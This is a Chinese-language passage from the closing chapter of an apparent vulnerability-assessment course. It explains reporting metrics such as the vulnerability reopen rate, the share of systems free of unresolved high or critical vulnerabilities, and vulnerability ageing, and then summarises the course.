漏洞重新开放率指标有助于衡量修复过程的有效性。一旦漏洞被修复,它不应该在随后的任何扫描中再次出现。如果即使在修复后仍然出现,这表明修复过程失败了。较高的漏洞重新开放率将表明打补丁的过程存在缺陷。这个指标的数据可以按季度发布和比较,每个季度的值理想情况下都应该比上一个季度小。
没有未解决高/严重漏洞的系统百分比
在本章的早些时候,我们已经看到了不同类型的报告。执行报告是为组织内部对关心关键和高严重性漏洞状态的高层管理人员准备的。
这个指标表示已经修复或减轻了关键和高严重漏洞的总系统百分比。这可以增强对组织整体减轻策略的信心。
漏洞老化
组织中典型的漏洞管理政策规定了识别漏洞必须被修复或减轻的时间。理想情况下,政策中规定的漏洞修复时间必须严格遵守。然而,可能会有例外情况,漏洞的减轻可能已经超过了截止日期。这个指标试图识别已经超过减轻截止日期的漏洞。这些漏洞可能需要优先关注。
总结
在本章中,我们学习了有效报告的重要性以及一些有用的报告工具。我们还概述了衡量漏洞管理计划成功的各种关键指标。
这一章基本上总结了课程。我们已经走过了很长的路,从绝对的安全基础开始,建立评估环境,经历了漏洞评估的各个阶段,然后涵盖了一些重要的程序方面,如漏洞评分、威胁建模、打补丁、报告和指标。
感谢参加本课程,希望它为整个漏洞评估过程提供了必要的见解。